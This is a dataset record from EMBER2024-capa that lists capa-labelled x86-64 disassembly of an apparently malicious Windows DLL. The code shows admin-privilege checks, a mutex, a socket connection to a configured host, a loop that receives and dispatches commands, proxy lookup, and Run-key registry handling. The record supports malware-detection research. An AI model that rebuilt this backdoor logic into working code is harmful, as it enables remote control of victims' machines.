joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001730
Capabilities:
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rdx
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
mov r9d, 1
xor r8d, r8d
mov rbx, rcx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x180001794
mov rcx, qword [rbx]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
mov edx, 0x8003
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x180001781
mov eax, 1
jmp 0x1800017a4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbx]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x18000179a
call qword [sym.imp.KERNEL32.dll_GetLastError]
and qword [rbx], 0
and qword [rdi], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x1800017bc
Capabilities:
Check os version
Get token membership

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x38]
sub rsp, 0x138
xor edx, edx
lea rcx, [rsp + 0x44]
mov r8d, 0x98
xor ebx, ebx
call fcn.180004610
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x180001803
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x180001922
cmp dword [rsp + 0x50], 2
jne 0x18000191c
cmp dword [rsp + 0x44], 5
jbe 0x18000191c
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180001912
mov rcx, qword [rsp + 0x30]
lea rax, [rbp + 0x50]
mov r9d, 4
mov dword [rbp + 0x50], ebx
lea r8, [rbp + 0x60]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0xe]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x18000187b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800017fc
cmp dword [rbp + 0x60], 3
jne 0x1800018fd
mov rcx, qword [rsp + 0x30]
lea rax, [rbp + 0x50]
mov r9d, 8
mov qword [rsp + 0x38], rbx
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0xb]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x180001868
xor edx, edx
mov dword [rbp + 0x68], 0x44
lea r9, [rbp + 0x68]
lea r8, [rbp - 0x20]
lea ecx, [rdx + 0x1a]
call qword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x1800018ea
mov rcx, qword [rsp + 0x38]
lea r8, [rbp + 0x58]
lea rdx, [rbp - 0x20]
mov dword [rbp + 0x58], ebx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x1800018ea
mov ebx, dword [rbp + 0x58]
jmp 0x1800018f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180001905
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov ebx, eax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180001918
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, ebx
jmp 0x180001922
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
add rsp, 0x138
pop rbx
pop rbp
ret
Function at 0x18000192c
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
xor edx, edx
lea rcx, [rbp - 0x45]
mov r8d, 0x98
xor ebx, ebx
call fcn.180004610
lea rcx, [rbp - 0x49]
mov dword [rbp - 0x49], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x180001978
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x180001a5c
cmp dword [rbp - 0x39], 2
jne 0x180001a5a
cmp dword [rbp - 0x45], 5
jbe 0x180001a5a
mov qword [rbp + 0x6f], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x6f]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180001a54
mov rcx, qword [rbp + 0x6f]
lea rax, [rbp + 0x67]
xor r9d, r9d
mov dword [rbp + 0x67], ebx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x19]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x180001a42
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x180001a42
mov edx, dword [rbp + 0x67]
lea ecx, [rax - 0x3a]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x180001a42
mov r9d, dword [rbp + 0x67]
lea rax, [rbp + 0x67]
mov rcx, qword [rbp + 0x6f]
mov r8, rdi
mov edx, 0x19
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x180001a31
mov rcx, qword [rdi]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [rdi]
movzx edx, byte [rax]
dec edx
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [rax]
jmp 0x180001a37
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x180001a48
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x6f]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180001a5a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, ebx
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x1800028e8
Capabilities:
Accept command line arguments
Delete registry value
Persist via run registry key
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x68]
sub rsp, 0x168
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rsi, rax
test rax, rax
je 0x180002af7
lea rax, [rbp + 0xb8]
mov r12, 0xffffffff80000001
mov rcx, r12
mov qword [rsp + 0x20], rax
mov r9d, 0xf013f
lea rdx, [0x180001088]
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x180002960
lea r8, [rbp + 0xb8]
mov rcx, r12
lea rdx, [0x180001088]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x180002af7
mov edx, 0x1000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x180002ae6
mov rcx, qword [rbp + 0xb8]
lea rax, [rbp + 0xa0]
and dword [rbp + 0xa8], edi
lea r9, [rbp + 0xb0]
mov qword [rsp + 0x38], rax
lea r8, [rsp + 0x50]
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
xor edx, edx
and qword [rsp + 0x20], rdi
xor r14d, r14d
mov dword [rbp + 0xb0], 0x104
mov dword [rbp + 0xa0], 0x1000
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x180002add
lea eax, [r14 + 1]
cmp dword [rbp + 0xa8], eax
jne 0x180002a7a
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x180002a75
mov rcx, qword [rbp + 0xb8]
lea rdx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov r9d, 0xf013f
lea rdx, [0x1800010b8]
test eax, eax
mov rcx, r12
mov eax, 1
cmove edi, eax
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x180002a5a
lea r8, [rsp + 0x40]
mov rcx, r12
lea rdx, [0x1800010b8]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x180002a75
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rcx, qword [rbp + 0xb8]
lea r9, [rbp + 0xb0]
add r14d, eax
mov dword [rbp + 0xb0], 0x104
lea rax, [rbp + 0xa0]
mov dword [rbp + 0xa0], 0x1000
mov qword [rsp + 0x38], rax
lea r8, [rsp + 0x50]
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
mov edx, r14d
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
mov eax, 1
je 0x1800029e2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x180002af9
xor eax, eax
add rsp, 0x168
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x180002b0c
Capabilities:
Accept command line arguments
Check mutex on windows
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x1c0
lea r8, [0x180001180]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
xor edi, edi
mov qword [0x180005188], rax
test rax, rax
je 0x180002b49
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x180002cad
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [0x1800035e8]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, [section..conf]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x180002cad
lea rbx, [0x180008022]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x180002cad
cmp word [0x180008020], di
je 0x180002cad
mov edx, 0x21
lea rcx, [0x1800050c8]
call fcn.180002ce0
lea rcx, [0x1800050f0]
mov dword [0x1800050f0], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x180002bd3
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180002cad
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x180002bf2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x180002cad
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea r8, [0x180005298]
mov rcx, rbx
mov edx, eax
call fcn.180001528
test eax, eax
je 0x180002cad
call fcn.180003c28
lea rcx, [section..conf]
call fcn.180003588
cmp eax, 0xffffffff
je 0x180002c7c
movzx edx, word [0x180008020]
mov ecx, eax
call fcn.180003124
mov rbx, rax
test rax, rax
je 0x180002c7c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rcx, rbx
mov dword [0x1800050c4], eax
call fcn.180002f14
mov ecx, eax
btr ecx, 0x1f
cmp ecx, 2
je 0x180002c89
cmp ecx, 1
jne 0x180002c73
test eax, eax
js 0x180002c19
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x180002c19
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180002c19
test eax, eax
js 0x180002c96
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call fcn.180003cd8
mov rcx, qword [0x180005188]
test rcx, rcx
je 0x180002cad
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x1d0]
add rsp, 0x1c0
pop rdi
ret
Function at 0x180002ce0
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov r15, rcx
cmp edx, 0x21
jb 0x180002d3b
mov edx, 0x104
lea rcx, [rsp + 0x50]
call fcn.180002e20
xor ebx, ebx
test eax, eax
je 0x180002d3b
lea rdx, [rbp + 0x98]
mov dword [rbp + 0x98], reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x180002d54
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov rbx, qword [rsp + 0x190]
add rsp, 0x160
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
lea rdx, [rbp + 0xa0]
mov qword [rbp + 0xa8], rbx
lea rcx, [rbp + 0xa8]
mov qword [rbp + 0xa0], rbx
mov edi, ebx
call fcn.180001730
test eax, eax
je 0x180002e16
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rbp + 0xa0]
lea rdx, [rsp + 0x50]
mov r8d, eax
call fcn.1800017b0
test eax, eax
je 0x180002e03
mov r8d, dword [rbp + 0x98]
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp + 0xa0]
add r8d, r8d
call fcn.1800017b0
test eax, eax
je 0x180002e03
mov rcx, qword [rbp + 0xa0]
lea rdx, [rsp + 0x20]
call fcn.180001700
mov edi, eax
test eax, eax
je 0x180002e03
mov esi, ebx
lea r14, [rsp + 0x20]
movzx r8d, byte [r14]
lea rdx, [0x18000125c]
movsxd rcx, esi
add rcx, r15
call qword [sym.imp.USER32.dll_wsprintfA]
inc ebx
add esi, 2
inc r14
cmp ebx, 0x10
jb 0x180002ddf
mov rdx, qword [rbp + 0xa0]
mov rcx, qword [rbp + 0xa8]
call fcn.1800016dc
mov eax, edi
jmp 0x180002d3d

Function at 0x180002e20
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov r15, rcx
xor ebx, ebx
lea rcx, [0x180001220]
mov r14d, edx
lea r12d, [rbx + 1]
mov edi, r12d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x180001210]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x180002e8a
mov dword [rbp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x40]
call rsi
cmp dword [rbp + 0x40], ebx
mov eax, 0x101
cmovne edi, eax
lea rax, [rbp - 0x10]
mov r9d, edi
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x180001230]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180002ef9
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x48]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], r15
lea rdx, [0x180001250]
mov dword [rbp + 0x48], r14d
mov dword [rbp + 0x40], ebx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180002eef
cmp dword [rbp + 0x40], r12d
jne 0x180002eef
cmp dword [rbp + 0x48], ebx
cmova ebx, r12d
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rsi, qword [rsp + 0x78]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x180002f14
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x240
mov rbp, rcx
mov r13d, 0x100000
mov edx, r13d
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x180003102
xor edi, edi
xor r15d, r15d
mov r8, r13
xor edx, edx
mov rcx, rbx
call fcn.180004610
test edi, edi
jne 0x180002fc8
and dword [rsp + 0x27c], r15d
lea rax, [rsp + 0x278]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x278], 0x1e
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x38], rbp
xor ecx, ecx
mov dword [rsp + 0x30], 1
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x1800030fc
test eax, eax
jle 0x18000306a
lea rdx, [rsp + 0x30]
mov rcx, rbp
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x180002f62
mov r8d, r13d
movsxd r14, edi
add r14, rbx
sub r8d, edi
mov rdx, r14
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp eax, 0xffffffff
je 0x1800030fc
test eax, eax
je 0x180003102
cmp dword [0x180005184], r15d
je 0x180003011
mov r8d, eax
lea rcx, [0x1800053b0]
mov rdx, r14
call fcn.180004424
add edi, esi
cmp edi, r13d
jge 0x180003102
movsxd rax, edi
cmp byte [rax + rbx - 1], 0xa
jne 0x180002f62
mov byte [rax + rbx - 1], r15b
lea eax, [rdi - 2]
movsxd rcx, eax
cmp byte [rcx + rbx], 0xd
jne 0x18000303f
mov byte [rcx + rbx], r15b
mov rcx, rbx
xor esi, esi
xor edi, edi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x180003099
cmp byte [rdi + rbx], 0x20
mov rcx, rbx
je 0x18000307f
inc esi
inc rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, eax
jl 0x180003050
jmp 0x180003099
jne 0x180002f62
xor edx, edx
mov rcx, rbp
call fcn.180001c00
jmp 0x180002f62
mov dl, 0x20
call fcn.18000449c
cmp eax, 1
jle 0x180003095
movsxd rax, esi
lea r15, [rbx + 1]
add r15, rax
mov byte [rdi + rbx], 0
mov rax, qword [section..data]
xor edi, edi
test rax, rax
je 0x1800030d0
lea rsi, section..data
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1800030e6
inc rdi
mov rax, rdi
add rax, rax
mov rax, qword [rsi + rax*8]
test rax, rax
jne 0x1800030ae
lea rdx, [0x180001128]
mov rcx, rbp
call fcn.1800032f4
test eax, eax
jmp 0x180002f4a
add rdi, rdi
mov rdx, r15
mov rcx, rbp
call qword [rsi + rdi*inet_addr + 8]
test eax, eax
jne 0x180003107
jmp 0x180002f50
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov eax, 1
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rsi
ret
Function at 0x180003124
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov edi, ecx
mov esi, 2
movzx ecx, dx
mov word [rsp + 0x20], si
movzx ebx, dx
call qword [sym.imp.WS2_32.dll_htons]
and dword [0x180005184], 0
mov ecx, edi
mov word [rsp + 0x22], ax
mov dword [rsp + 0x24], edi
call qword [sym.imp.WS2_32.dll_inet_ntoa]
movzx edx, bx
mov ecx, edi
call fcn.1800031d0
cmp rax, 0xffffffffffffffff
jne 0x1800031bf
xor r8d, r8d
lea edx, [rsi - 1]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800031b7
lea r8d, [rsi + 0xe]
mov rcx, rax
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1800031a6
mov rax, rbx
jmp 0x1800031bf
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x1800031bd
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x180003268
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
test r8d, r8d
jle 0x1800032b3
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rsi
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
mov ecx, eax
inc eax
cmp eax, 1
jbe 0x1800032e8
add ebx, ecx
cmp ebx, edi
jl 0x18000328c
cmp dword [0x180005184], 0
je 0x1800032ce
mov r8d, edi
lea rcx, [0x1800053b0]
mov rdx, rsi
call fcn.180004424
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
xor eax, eax
jmp 0x1800032d3

Function at 0x180003400
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rbx, rdx
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rdx, rbx
mov rcx, rdi
mov r8d, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.180003434

Function at 0x180003434
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov edi, r8d
cmp dword [0x180005184], ebx
mov rsi, rdx
mov rbp, rcx
je 0x180003467
lea rcx, [0x1800052a0]
call fcn.180004424
test edi, edi
jle 0x180003492
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rsi
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
mov ecx, eax
inc eax
cmp eax, 1
jbe 0x1800034ac
add ebx, ecx
cmp ebx, edi
jl 0x18000346b
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
xor eax, eax
jmp 0x180003497
Function at 0x180003588
Capabilities:
Resolve dns

Disassembly:
push rbx
sub rsp, 0x20
and dword [rsp + 0x38], 0
mov rbx, rcx
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdx, rax
test rax, rax
jne 0x1800035b9
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_inet_addr]
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, eax
mov eax, ecx
jmp 0x1800035e0
movsx rax, word [rax + 0x12]
lea rcx, [rsp + 0x38]
mov rdx, qword [rdx + 0x18]
mov r8d, 4
cmp rax, r8
cmovb r8, rax
mov rdx, qword [rdx]
call fcn.1800045f0
mov eax, dword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret

Function at 0x180003620
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, r8
mov rbx, rcx
cmp edx, 1
jne 0x1800036af
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, 0x104
lea rdx, [0x180005190]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [0x180001268]
lea rcx, [0x180005190]
call qword [sym.imp.SHLWAPI.dll_StrStrA]
test rax, rax
jne 0x1800036af
xor ecx, ecx
test rdi, rdi
jne 0x18000369e
and qword [rsp + 0x28], rdi
lea r8, [0x180002cc0]
and dword [rsp + 0x20], edi
mov r9, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1800036af
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800036af
mov r9d, 1
xor r8d, r8d
mov rdx, rbx
call sym.client_amd64.dll_EntryPoint
mov rbx, qword [rsp + 0x40]
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x1800036c0
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
movzx edi, r8w
mov esi, edx
mov rbx, rcx
test rcx, rcx
jne 0x180003733
lea rcx, [0x180005500]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movups xmm0, xmmword [0x1800054c8]
lea rcx, [0x180005500]
movups xmm1, xmmword [0x1800054d8]
lea rbx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x1800054e8]
movups xmmword [rsp + 0x40], xmm1
movsd xmm1, qword [0x1800054f8]
movups xmmword [rsp + 0x50], xmm0
movsd qword [rsp + 0x60], xmm1
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [rbx + 0x34]
test ecx, ecx
je 0x180003780
sub ecx, 1
je 0x180003770
sub ecx, 1
je 0x180003760
cmp ecx, 1
jne 0x1800037e4
movzx r8d, di
mov edx, esi
mov rcx, rbx
call fcn.1800041a8
jmp 0x1800037e8
movzx r8d, di
mov edx, esi
mov rcx, rbx
call fcn.180004060
jmp 0x1800037e8
movzx r8d, di
mov edx, esi
mov rcx, rbx
call fcn.180003cf0
jmp 0x1800037e8
xor r8d, r8d
lea edx, [r8 + 1]
lea ebp, [rdx + 1]
mov ecx, ebp
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800037de
movzx ecx, di
mov dword [rsp + 0x24], esi
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rbp + 0xe]
mov word [rsp + 0x20], bp
lea rdx, [rsp + 0x20]
mov word [rsp + 0x22], ax
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x1800037cd
mov rax, rbx
jmp 0x1800037e8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x1800037e4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
or rax, 0xffffffffffffffff
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180003800
Capabilities:
Get proxy
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x150]
sub rsp, 0x250
and dword [rcx], 0
lea r8, [rbp + 0x178]
mov rdi, rcx
xor edx, edx
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x180003959
xor esi, esi
xor edx, edx
jmp 0x18000392c
lea r8, [rsp + 0x30]
lea rdx, [0x180001288]
lea rcx, [rbp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, qword [rbp + 0x178]
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x180003928
and dword [rbp + 0x170], eax
lea rdx, [0x1800012c8]
mov rcx, qword [rbp + 0x180]
lea rax, [rbp + 0x170]
mov qword [rsp + 0x28], rax
xor r9d, r9d
and qword [rsp + 0x20], 0
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x18000391b
cmp dword [rbp + 0x170], 1
jbe 0x18000391b
mov edx, dword [rbp + 0x170]
lea ecx, [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x180003915
mov rcx, qword [rbp + 0x180]
lea rax, [rbp + 0x170]
mov qword [rsp + 0x28], rax
lea rdx, [0x1800012c8]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x18000390a
mov rdx, rbx
mov rcx, rdi
call fcn.180003a5c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x18000391b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
